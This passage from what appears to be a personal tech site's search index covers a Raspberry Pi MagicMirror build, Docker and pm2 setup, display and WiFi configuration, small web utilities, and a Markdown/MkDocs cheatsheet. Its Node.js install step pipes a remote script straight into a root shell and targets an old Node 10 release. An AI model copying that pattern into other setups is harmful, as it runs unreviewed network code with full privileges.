      Since my previous experience with my first magicmirror build, I've decided to add a Motion Sensor to the Raspberry Pi to detect the movement of the person infront of the mirror and turn the display on/off accordingly. The second thing i've added is a Power Button to turn the Raspberry Pi on, off and restart it without a physical access to the Raspberry Pi.

      I couldn't find any open source projects for the functionality I needed of the power button and the Motion Sensor. So I've decided to create my own solution. Bellow are the scripts that I've created:

      • External Power Button Wake/Power Off/Restart
      • Motion Sensor Display Control

      Thats how i've tested the functionality of the power button and the motion sensor.

      I've order a reflective glass with 4 holes for mounting. It was a challenge to find a suitable reflective glass for the MagicMirror. The product I've found is not perfect - the glass is tinted, but it's a good enough solution and way better then Glass Mirror Films I've used on my first Magic Mirror Project.

      After I've done all the proof of concepts that every thing will work as i intended, I've continue to build the frame to house all the components.

      I've used scrap wood I had laying around to build the frame and the mounting for the LCD panel, and the glass

      For mounting the Magic Mirror to the wall i've used the smallest TV Mount I've found.

      After the frame is built, I've added the electronics to the frame.

      Performing senity check on the electronics, and display assembly.

      Since I when on the floating effect the glass isn't covering the all the frame, all the exposed parts of the glass are needed to be covered to avoid light leaking.

      And the final Magic Mirror on the wall.

      ", "tags": ["raspberry-pi", "magicmirror"]}, {"location": "raspberry-pi/projects/magic-mirror-v2/#the-software", "title": "The Software", "text": "

      The magicmiror is based on MagicMirror project. running on docker on Raspberry OS.

      Below the docker compose file for your reference.

      version: '3'\n\nservices:\n  magicmirror:\n    image: karsten13/magicmirror\n    container_name: magicmirror\n    hostname: magicmirror\n    restart: always\n    ports:\n      - 80:8080\n    volumes:\n      - ./config:/opt/magic_mirror/config\n      - ./modules:/opt/magic_mirror/modules\n      - ./css:/opt/magic_mirror/css\n      - /tmp/.X11-unix:/tmp/.X11-unix\n      - /opt/vc:/opt/vc/:ro\n      - /sys:/sys\n      - /usr/bin/vcgencmd:/usr/bin/vcgencmd\n      - /etc/localtime:/etc/localtime\n    devices:\n      - /dev/vchiq\n    environment:\n      - LD_LIBRARY_PATH=/opt/vc/lib\n      - DISPLAY=unix:0.0\n      - TZ=Asia/Jerusalem\n      - SET_CONTAINER_TIMEZONE=true\n      - CONTAINER_TIMEZONE=Asia/Jerusalem\n    shm_size: '1024mb'\n    command:\n      - npm\n      - run\n      - start\n
      ", "tags": ["raspberry-pi", "magicmirror"]}, {"location": "raspberry-pi/projects/magic-mirror/", "title": "Magic Mirror", "text": "", "tags": ["raspberry-pi", "magic-mirror"]}, {"location": "raspberry-pi/projects/magic-mirror/#magic-mirror-build-pictures", "title": "Magic Mirror Build Pictures", "text": "

      23\" Samsung screen power resoldering:

      Wooden frame initial fitting test on a glass with duel mirror film applied:

      Testing the screen installation (frame removed) with power cords:

      Testing black&white picture from a laptop after frame assembly:

      Power, Lan, Usb external ports cutouts:

      Fitted extended ports with wood filler:

      Extended ports:

      Assembly With screen, Raspberry Pi, cable routing, black material which do not pass light where there is no screen:

      Adding some color for the frame:

      Testing everything is working as it should be:

      Full assembly behind the mirror:

      Final Product:

      ", "tags": ["raspberry-pi", "magic-mirror"]}, {"location": "raspberry-pi/projects/magic-mirror/#configuration-setup", "title": "Configuration Setup", "text": "", "tags": ["raspberry-pi", "magic-mirror"]}, {"location": "raspberry-pi/projects/magic-mirror/#change-display-rotation", "title": "Change Display Rotation", "text": "
      sudo nano /boot/config.txt\n

      Add one of those according to your setup to the config file:

      Code Description display_rotate=0 Normal display_rotate=1 90 degrees display_rotate=2 180 degrees display_rotate=3 270 degrees display_rotate=0x8000 horizontal flip display_rotate=0x20000 vertical flip

      NOTE: You can rotate both the image and touch interface 180\u00ba by entering lcd_rotate=2 instead

      ", "tags": ["raspberry-pi", "magic-mirror"]}, {"location": "raspberry-pi/projects/magic-mirror/#disabling-the-screensaver", "title": "Disabling the Screensaver", "text": "

      Change to OPEN GL Driver

      sudo nano /boot/config.txt\n

      add this:

      dtoverlay=vc4-fkms-v3d\n

      (Please note, you will need the x11-xserver-utils package installed.)

      edit ~/.config/lxsession/LXDE-pi/autostart:

      sudo nano ~/.config/lxsession/LXDE-pi/autostart\n

      Add the following lines:

      @xset s noblank\n@xset s off\n@xset -dpms\n

      Edit /etc/lightdm/lightdm.conf:

      sudo nano /etc/lightdm/lightdm.conf\n

      Add the following line below [SeatDefaults]

      xserver-command=X -s 0 -dpms\n
      ", "tags": ["raspberry-pi", "magic-mirror"]}, {"location": "raspberry-pi/projects/magic-mirror/#os-ui-finishes", "title": "OS UI Finishes", "text": "

      Make the Background Black:

      Right click the Desktop -> Desktop Preferences and Change: Layout -> no image Colour -> #000000

      Hit ok.

      Right click on the top panel -> Panel Preferences -> Appearance

      Select Solid Color (With Opacity) make sure Opacity at 0

      ", "tags": ["raspberry-pi", "magic-mirror"]}, {"location": "raspberry-pi/projects/magic-mirror/#disable-wifi-power-save", "title": "Disable WiFi Power Save", "text": "

      Edit /etc/modprobe.d/8192cu.conf

      sudo nano /etc/modprobe.d/8192cu.conf\n

      Add the following lines

      # Disable power saving\noptions 8192cu rtw_power_mgnt=0 rtw_enusbss=1 rtw_ips_mode=1\n

      For Raspberry Pi 3 Edit /etc/network/interfaces

      sudo nano /etc/network/interfaces\n

      Add the following line under the wlan0 section

      allow-hotplug wlan0\niface wlan0 inet manual\nwpa-conf /etc/wpa_supplicant/wpa_supplicant.conf\nwireless-power off\n

      Reboot your PI

      sudo reboot\n
      ", "tags": ["raspberry-pi", "magic-mirror"]}, {"location": "raspberry-pi/projects/magic-mirror/#disable-cursor-on-startup", "title": "Disable Cursor on Startup", "text": "
      sudo apt-get install unclutter\n
      ", "tags": ["raspberry-pi", "magic-mirror"]}, {"location": "raspberry-pi/projects/magic-mirror/#installation", "title": "Installation", "text": "

      first install node.js and npm

      curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -\nsudo apt-get install -y nodejs\n

      and then run:

      sudo npm install -g npm@latest\n

      If you need to remove node and npm run this:

      sudo apt-get remove nodejs nodejs-legacy nodered\n

      Installation:

      magicmirror-installation

      say no to PM2 auto start - will be install manually

      To Start from SSH:

      cd ~/MagicMirror && DISPLAY=:0 npm start\n
      ", "tags": ["raspberry-pi", "magic-mirror"]}, {"location": "raspberry-pi/projects/magic-mirror/#pm2-auto-start-installation", "title": "pm2 auto start installation", "text": "
      sudo npm install -g pm2\ncd ~\nnano mm.sh\n

      add this to mm.sh and save:

      #!/bin/sh\n\ncd ~/MagicMirror\nDISPLAY=:0 npm start\n
      chmod +x mm.sh\npm2 start mm.sh\npm2 save\npm2 startup\n

      pm2 commands:

      pm2 restart mm\npm2 stop mm\npm2 start mm\npm2 log\npm2 show mm\n
      ", "tags": ["raspberry-pi", "magic-mirror"]}, {"location": "raspberry-pi/projects/magic-mirror/#logrotate-installation", "title": "Logrotate Installation", "text": "

      This will Retain for 14 days compress the logs.

      pm2 install pm2-logrotate\npm2 set pm2-logrotate:compress true\npm2 set pm2-logrotate:retain 14\npm2 set pm2-logrotate:max_size 10M\n
      ", "tags": ["raspberry-pi", "magic-mirror"]}, {"location": "utilities/htpasswd-generator/", "title": "htpasswd Password Generator", "text": "

      This htpasswd password encryption applet is written in JavaScript, so the entire process runs within your browser.Nothing is transmitted to any server, we take your privacy and securityserious.

      ", "tags": ["htpasswd"]}, {"location": "utilities/htpasswd-generator/#credit-sources", "title": "Credit & Sources", "text": "

      The code was built by macminiosx and cloned from his repository. It was slightly modified to fit this website.

      ", "tags": ["htpasswd"]}, {"location": "utilities/useful-links-tools/", "title": "Useful Links & Tools", "text": "Services Description Mail-Tester.com Tests the quality of emails ipleak.net Shows Information About Your IP sslLabs.com Test Your SSL Certification ifconfig.io curl ifconfig.io DSL Reports.com Speedtest For QoS Best Configuration Hurricane Electric Free DNS Hosting Free DNS & DDNS Service freedns.afraid.org Free DNS & DDNS Service", "tags": ["utilities"]}, {"location": "utilities/wifiQrGenerator/", "title": "Wifi QR Image Generator", "text": "", "tags": ["utilities"]}, {"location": "utilities/wifiQrGenerator/#description", "title": "Description", "text": "

      This will generate a QR code what can be used with any iOS/Android device to access a given Wifi without manually adding a network and password. Just scan the QR Code and you are connected. This is a fully static code - no data is send to any server!

      ", "tags": ["utilities"]}, {"location": "utilities/wifiQrGenerator/#generator", "title": "Generator", "text": "", "tags": ["utilities"]}, {"location": "utilities/wifiQrGenerator/#credit-sources", "title": "Credit & Sources", "text": "

      This code was taken from this site qistoph Github Page. It was fully reviewed for any malicious code or functionality and slightly modified to fit this site

      ", "tags": ["utilities"]}, {"location": "utilities/browsers-extensions/chrome/", "title": "Chrome Extensions", "text": "

      List of extensions for Chrome browser.

      Chrome Extensions Description 1Password Password Manager (Desktop App Required) Clear Browsing Data Clear Browsing Data HTTPS Everywhere Automatically use HTTPS Pushbullet Connectivity App uBlock Origin Ad Block EditThisCookie Edit cookie per page Wappalyzer Uncovers the technologies used on websites IP Address and Domain Information Find detailed information about each IP address JSON viewer Pretty print / display JSON content in the browser", "tags": ["chrome", "extensions"]}, {"location": "utilities/browsers-extensions/firefox/", "title": "Firefox Extensions", "text": "

      List of extensions for Firefox browser.

      Firefox Extensions Description FoxyProxy Proxy Management Wappalyzer Identifies software on websites Clear Browsing Data Delete browsing data 1Password Password Manager", "tags": ["firefox", "extensions"]}, {"location": "utilities/markdown-cheatsheet/about/", "title": "About Markdown", "text": "

      Markdown is a lightweight markup language with plain text formatting syntax. It is designed so that it can be converted to HTML and many other formats using a tool by the same name. Markdown is often used to format readme files, for writing messages in online discussion forums, and to create rich text using a plain text editor. As the initial description of Markdown contained ambiguities and unanswered questions, many implementations and extensions of Markdown appeared over the years to answer these issues.

      This Page is fully written with Markdown Language and converted to HTML

      ", "tags": ["markdown-cheatsheet", "mkdocs"]}, {"location": "utilities/markdown-cheatsheet/about/#material-for-mkdocs-markdown", "title": "Material for MkDocs Markdown", "text": "

      This website is built with MkDocs. MkDocs is a static site generator that can be used to generate websites with a clean and simple user interface. It is a free and open source project.

      Warning

      Most of the advanced features used to generate this website and the Markdown syntax used from Material Theme for MkDocs and may not apply to other websites.

      ", "tags": ["markdown-cheatsheet", "mkdocs"]}, {"location": "utilities/markdown-cheatsheet/admonition/", "title": "Markdown Admonitions", "text": "

      Admonitions, also known as call-outs, are an excellent choice for including side content without significantly interrupting the document flow. Material for MkDocs provides several different types of admonitions and allows for the inclusion and nesting of arbitrary content.

      ", "tags": ["markdown-cheatsheet", "mkdocs", "admonition"]}, {"location": "utilities/markdown-cheatsheet/admonition/#usage", "title": "Usage", "text": "

      Admonitions follow a simple syntax: a block starts with !!!, followed by a single keyword used as a [type qualifier]. The content of the block follows on the next line, indented by four spaces:

      Admonition
      !!! note\n\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod\n    nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor\n    massa, nec semper lorem quam in massa.\n

      Note

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      ", "tags": ["markdown-cheatsheet", "mkdocs", "admonition"]}, {"location": "utilities/markdown-cheatsheet/admonition/#changing-the-title", "title": "Changing The Title", "text": "

      By default, the title will equal the type qualifier in titlecase. However, it can be changed by adding a quoted string containing valid Markdown (including links, formatting, ...) after the type qualifier:

      Admonition with custom title
      !!! note \"Phasellus posuere in sem ut cursus\"\n\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod\n    nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor\n    massa, nec semper lorem quam in massa.\n

      Phasellus posuere in sem ut cursus

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      ", "tags": ["markdown-cheatsheet", "mkdocs", "admonition"]}, {"location": "utilities/markdown-cheatsheet/admonition/#removing-the-title", "title": "Removing The Title", "text": "

      Similar to [changing the title], the icon and title can be omitted entirely by adding an empty string directly after the type qualifier. Note that this will not work for [collapsible blocks]:

      Admonition without title
      !!! note \"\"\n\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod\n    nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor\n    massa, nec semper lorem quam in massa.\n

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      ", "tags": ["markdown-cheatsheet", "mkdocs", "admonition"]}, {"location": "utilities/markdown-cheatsheet/admonition/#collapsible-blocks", "title": "Collapsible Blocks", "text": "

      When [Details] is enabled and an admonition block is started with ??? instead of !!!, the admonition is rendered as a collapsible block with a small toggle on the right side:

      Admonition, collapsible
      ??? note\n\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod\n    nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor\n    massa, nec semper lorem quam in massa.\n
      Note

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      Adding a + after the ??? token renders the block expanded:

      Admonition, collapsible and initially expanded
      ???+ note\n\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod\n    nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor\n    massa, nec semper lorem quam in massa.\n
      Note

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      ", "tags": ["markdown-cheatsheet", "mkdocs", "admonition"]}, {"location": "utilities/markdown-cheatsheet/admonition/#supported-types", "title": "Supported Types", "text": "

      Following is a list of type qualifiers provided by Material for MkDocs, whereas the default type, and thus fallback for unknown type qualifiers, is note:

      note

      Note

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      abstract, summary, tldr

      Abstract

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      info, todo

      Info

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      tip, hint, important

      Tip

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      success, check, done

      Success

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      question, help, faq

      Question

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      warning, caution, attention

      Warning

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      failure, fail, missing

      Failure

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      danger, error

      Danger

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      bug

      Bug

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      example

      Example

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      quote, cite

      Quote

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla et euismod nulla. Curabitur feugiat, tortor non consequat finibus, justo purus auctor massa, nec semper lorem quam in massa.

      ", "tags": ["markdown-cheatsheet", "mkdocs", "admonition"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/", "title": "Mkdocs Awesome Pages Plugin", "text": "

      An MkDocs plugin that simplifies configuring page titles and their order

      The awesome-pages plugin allows you to customize how your pages show up the navigation of your MkDocs without having to configure the full structure in your mkdocs.yml. It gives you detailed control using a small configuration file directly placed in the relevant directory of your documentation. MkDocs Awesome Pages Plugin Github Repository

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#features", "title": "Features", "text": "", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#customize-navigation", "title": "Customize Navigation", "text": "

      Create a file named .pages in a directory and use the nav attribute to customize the navigation on that level. List the files and subdirectories in the order that they should appear in the navigation.

      nav:\n- subdirectory\n- page1.md\n- page2.md\n
      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#rest", "title": "Rest", "text": "

      Pages or sections that are not mentioned in the list will not appear in the navigation. However, you may include a ... entry to specify where all remaining items should be inserted.

      nav:\n- introduction.md\n- ...\n- summary.md\n

      Furthermore, it is possible to filter the remaining items using glob patterns or regular expressions. For example to match only the Markdown files starting with introduction-.

      nav:\n- ... | introduction-*.md\n- ...\n- summary.md\n

      Note: The pattern is checked against the basename (folder- / filename) of remaining items - not their whole path.

      For more details refer to the Rest Filter Patterns section below.

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#titles", "title": "Titles", "text": "

      You can optionally specify a title for the navigation entry.

      nav:\n- ...\n- First page: page1.md\n

      Note: Specifying a title for a directory containing a .pages file that defines a title has no effect.

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#links", "title": "Links", "text": "

      You can also use the nav attribute to add additional links to the navigation.

      nav:\n- ...\n- Link Title: https://lukasgeiter.com\n
      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#sections", "title": "Sections", "text": "

      You can group items by creating new sections.

      nav:\n- introduction.md\n- Section 1:\n- page1.md\n- page2.md\n- Section 2:\n- ...\n
      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#change-sort-order", "title": "Change Sort Order", "text": "

      Create a file named .pages in a directory and set the order attribute to asc or desc to change the order of navigation items.

      order: desc\n

      Note: Unlike the default order, this does not distinguish between files and directories. Therefore pages and sections might get mixed.

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#natural-sort-type", "title": "Natural Sort Type", "text": "

      Create a file named .pages in a directory and set the sort_type attribute to natural to use natural sort order.

      This can be combined with order above.

      sort_type: natural\n
      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#order-navigation-by-preference", "title": "Order Navigation By Preference", "text": "

      Create a file named .pages in a directory and set the order_by attribute to filename or title to change the order of navigation items.

      order_by: title\n

      This can be combined with order and/or sort_type above. If order is not set it will order ascending. If no preference is set, it will order by filename.

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#collapse-single-nested-pages", "title": "Collapse Single Nested Pages", "text": "

      Note: This feature is disabled by default. More on how to use it below

      If you have directories that only contain a single page, awesome-pages can \"collapse\" them, so the folder doesn't show up in the navigation.

      For example if you have the following file structure:

      docs/\n\u251c\u2500 section1/\n\u2502  \u251c\u2500 img/\n\u2502  \u2502  \u251c\u2500 image1.png\n\u2502  \u2502  \u2514\u2500 image2.png\n\u2502  \u2514\u2500 index.md # Section 1\n\u2514\u2500 section2/\n\u2514\u2500 index.md # Section 2\n

      The pages will appear in your navigation at the root level:

      • Section 1
      • Section 2

      Instead of how MkDocs would display them by default:

      • Section 1
      • Index
      • Section 2
      • Index
      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#for-all-pages", "title": "For all pages", "text": "

      Collapsing can be enabled globally using the collapse_single_pages option in mkdocs.yml

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#for-a-sub-section", "title": "For a sub-section", "text": "

      If you only want to collapse certain pages, create a file called .pages in the directory and set collapse_single_pages to true:

      collapse_single_pages: true\n

      You may also enable collapsing globally using the plugin option and then use the .pages file to prevent certain sub-sections from being collapsed by setting collapse_single_pages to false.

      Note: This feature works recursively. That means it will also collapse multiple levels of single pages.

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#for-a-single-page", "title": "For a single page", "text": "

      If you want to enable or disable collapsing of a single page, without applying the setting recursively, create a file called .pages in the directory and set collapse to true or false:

      collapse: true\n
      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#hide-directory", "title": "Hide Directory", "text": "

      Create a file named .pages in a directory and set the hide attribute to true to hide the directory, including all sub-pages and sub-sections, from the navigation:

      hide: true\n

      Note: This option only hides the section from the navigation. It will still be included in the build and can be accessed under its URL.

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#set-directory-title", "title": "Set Directory Title", "text": "

      Create a file named .pages in a directory and set the title to override the title of that directory in the navigation:

      title: Page Title\n
      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#arrange-pages", "title": "Arrange Pages", "text": "

      Deprecated: arrange will be removed in the next major release - Use nav instead.

      Create a file named .pages in a directory and set the arrange attribute to change the order of how child pages appear in the navigation. This works for actual pages as well as subdirectories.

      title: Page Title\narrange:\n- page1.md\n- page2.md\n- subdirectory\n

      If you only specify some pages, they will be positioned at the beginning, followed by the other pages in their original order.

      You may also include a ... entry at some position to specify where the rest of the pages should be inserted:

      arrange:\n- introduction.md\n- ...\n- summary.md\n

      In this example introduction.md is positioned at the beginning, summary.md at the end, and any other pages in between.

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#combine-custom-navigation-file-structure", "title": "Combine Custom Navigation & File Structure", "text": "

      MkDocs gives you two ways to define the structure of your navigation. Either create a custom navigation manually in mkdocs.yml or use the file structure to generate the navigation. This feature makes it possible to combine both methods. Allowing you to manually define parts of your navigation without having to list all files.

      Note: You can freely combine this with all the other features of this plugin. However they will only affect the part of the navigation that is not defined manually.

      Use the nav entry in mkdocs.yml to define the custom part of your navigation. Include a ... entry where you want the navigation tree of all remaining pages to be inserted.

      The following examples are based on this file structure:

      docs/\n\u251c\u2500 introduction.md\n\u251c\u2500 page1.md\n\u251c\u2500 page2.md\n\u2514\u2500 folder/\n\u251c\u2500 introduction.md\n\u251c\u2500 page3.md\n\u2514\u2500 page4.md\n

      If you wanted introduction.md, page1.md and page2.md to appear under their own section you could do this:

      nav:\n- Start:\n- page1.md\n- page2.md\n- summary.md\n- ...\n

      Which would result in the following navigation:

      • Start
      • Introduction
      • Page 1
      • Page 2
      • Folder
      • Introduction
      • Page 3
      • Page 4

      The ... entry can also be placed at a deeper level:

      nav:\n- page1.md\n- Rest:\n- ...\n

      Which would result in the following navigation:

      • Page 1
      • Rest
      • Introduction
      • Page 2
      • Folder
        • Introduction
        • Page 3
        • Page 4

      Furthermore, it is possible to filter the remaining items using glob patterns or regular expressions. For example to match only files named introduction.md.

      nav:\n- Introductions:\n- ... | **/introduction.md\n- ...\n

      With the following result:

      • Introductions
        • Introduction
        • Introduction
      • Page 1
      • Page 2
      • Folder
        • Page 3
        • Page 4

      Note: The pattern is checked against the path relative to the docs directory.

      For more details refer to the Rest Filter Patterns section below.

      By default, remaining items keep their hierarchical structure. You may add flat to flatten all the matching pages:

      nav:\n- page1.md\n- Rest:\n- ... | flat | **/introduction.md\n- ... | flat\n
      • Page 1
      • Rest
        • Introduction
        • Introduction
        • Page 2
        • Page 3
        • Page 4

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#rest-filter-patterns", "title": "Rest Filter Patterns", "text": "

      In all places where the rest entry (...) is allowed, you can also include a glob pattern or regular expression to filter the items to be displayed.

      nav:\n- ... | page-*.md\n- ... | regex=page-[0-9]+.md\n

      The filter only operates on remaining items. This means it will not include items that are explicitly listed in the navigation or items that are matched by another filter that appears earlier in the configuration.

      You may also include a rest entry without filter to act as a catch-all, inserting everything that is not matched by a filter.

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#syntax-details", "title": "Syntax Details", "text": "

      Unless the filter starts with regex= it is interpreted as glob pattern, however you may also explicitly say so using glob=. The spaces around ... are optional but recommended for readability.

      Note: Depending on the characters in your filter, you might also need to use quotes around the whole entry.

      nav:\n# equivalent glob entries\n- ... | page-*.md\n- ... | glob=page-*.md\n- ...|page-*.md\n- '... | page-*.md'\n\n# equivalent regex entries\n- ... | regex=page-[0-9]+.md\n- ...|regex=page-[0-9]+.md\n- '... | regex=page-[0-9]+.md'\n

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#options", "title": "Options", "text": "

      You may customize the plugin by passing options in mkdocs.yml:

      plugins:\n- awesome-pages:\nfilename: .index\ncollapse_single_pages: true\nstrict: false\norder: asc\nsort_type: natural\norder_by: title\n
      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#filename", "title": "filename", "text": "

      Name of the file used to configure pages of a directory. Default is .pages

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#collapse_single_pages", "title": "collapse_single_pages", "text": "

      Enable the collapsing of single nested pages. Default is false

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#strict", "title": "strict", "text": "

      Raise errors instead of warnings when:

      • arrange entries cannot be found
      • nav entries cannot be found

      Default is true

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/awesome-pages/#order-sort_type-and-order_by", "title": "order, sort_type and order_by", "text": "

      Global fallback values for the Meta attributes. Default is None or filename.

      ", "tags": ["template", "markdown"]}, {"location": "utilities/markdown-cheatsheet/basic-formatting/", "title": "Markdown Basic Formatting", "text": "", "tags": ["markdown-cheatsheet", "mkdocs", "headings", "text-highlighting", "horizontal-line"]}, {"location": "utilities/markdown-cheatsheet/basic-formatting/#text-styling", "title": "Text Styling", "text": "

      Markdown makes it easy to format messages. Type a message as you normally would, then use these the following formatting syntax to render the message a specific way

      Markdown Syntax Result **bold** bold _italic_ italic ==highlight== highlight ~~strike through~~ strike through ^^underline^^ underline `Inline Code` Inline Code ==_you_ **can** ^^combine^^ `too`== you can combine too", "tags": ["markdown-cheatsheet", "mkdocs", "headings", "text-highlighting", "horizontal-line"]}, {"location": "utilities/markdown-cheatsheet/basic-formatting/#horizontal-line", "title": "Horizontal Line", "text": "Horizontal Line Example
      Horizontal line\n\n---\n\nThree consecutive dashes\n

      Result:

      Horizontal line

      Three consecutive dashes

      ", "tags": ["markdown-cheatsheet", "mkdocs", "headings", "text-highlighting", "horizontal-line"]}, {"location": "utilities/markdown-cheatsheet/basic-formatting/#heading", "title": "Heading", "text": "

      To create a heading, add number signs (#) in front of a word or phrase. The number of number signs you use should correspond to the heading level. For example, to create a heading level three (h3), use three number signs (e.g., ### My Header).

      Headings from h1 through h6 are constructed with a # for each level:

      ", "tags": ["markdown-cheatsheet", "mkdocs", "headings", "text-highlighting", "horizontal-line"]}, {"location": "utilities/markdown-cheatsheet/basic-formatting/#regular-headings", "title": "Regular Headings", "text": "Regular Headings (h1-h6)
      ### Heading 3\n\n#### Heading 4\n\n##### Heading 5\n\n###### Heading 6\n

      Result:

      ", "tags": ["markdown-cheatsheet", "mkdocs", "headings", "text-highlighting", "horizontal-line"]}, {"location": "utilities/markdown-cheatsheet/basic-formatting/#heading-3", "title": "Heading 3", "text": "", "tags": ["markdown-cheatsheet", "mkdocs", "headings", "text-highlighting", "horizontal-line"]}, {"location": "utilities/markdown-cheatsheet/basic-formatting/#heading-4", "title": "Heading 4", "text": "", "tags": ["markdown-cheatsheet", "mkdocs", "headings", "text-highlighting", "horizontal-line"]}, {"location": "utilities/markdown-cheatsheet/basic-formatting/#heading-5", "title": "Heading 5", "text": "", "tags": ["markdown-cheatsheet", "mkdocs", "headings", "text-highlighting", "horizontal-line"]}, {"location": "utilities/markdown-cheatsheet/basic-formatting/#heading-6", "title": "Heading 6", "text": "", "tags": ["markdown-cheatsheet", "mkdocs", "headings", "text-highlighting", "horizontal-line"]}, {"location": "utilities/markdown-cheatsheet/basic-formatting/#headings-with-secondary-text", "title": "Headings with secondary text", "text": "Headings with secondary text (h1-h6)
      ### Heading 3 <small>with secondary text</small>\n\n#### Heading 4 <small>with secondary text</small>\n\n##### Heading 5 <small>with secondary text</small>\n\n###### Heading 5 <small>with secondary text</small>\n

      Result:

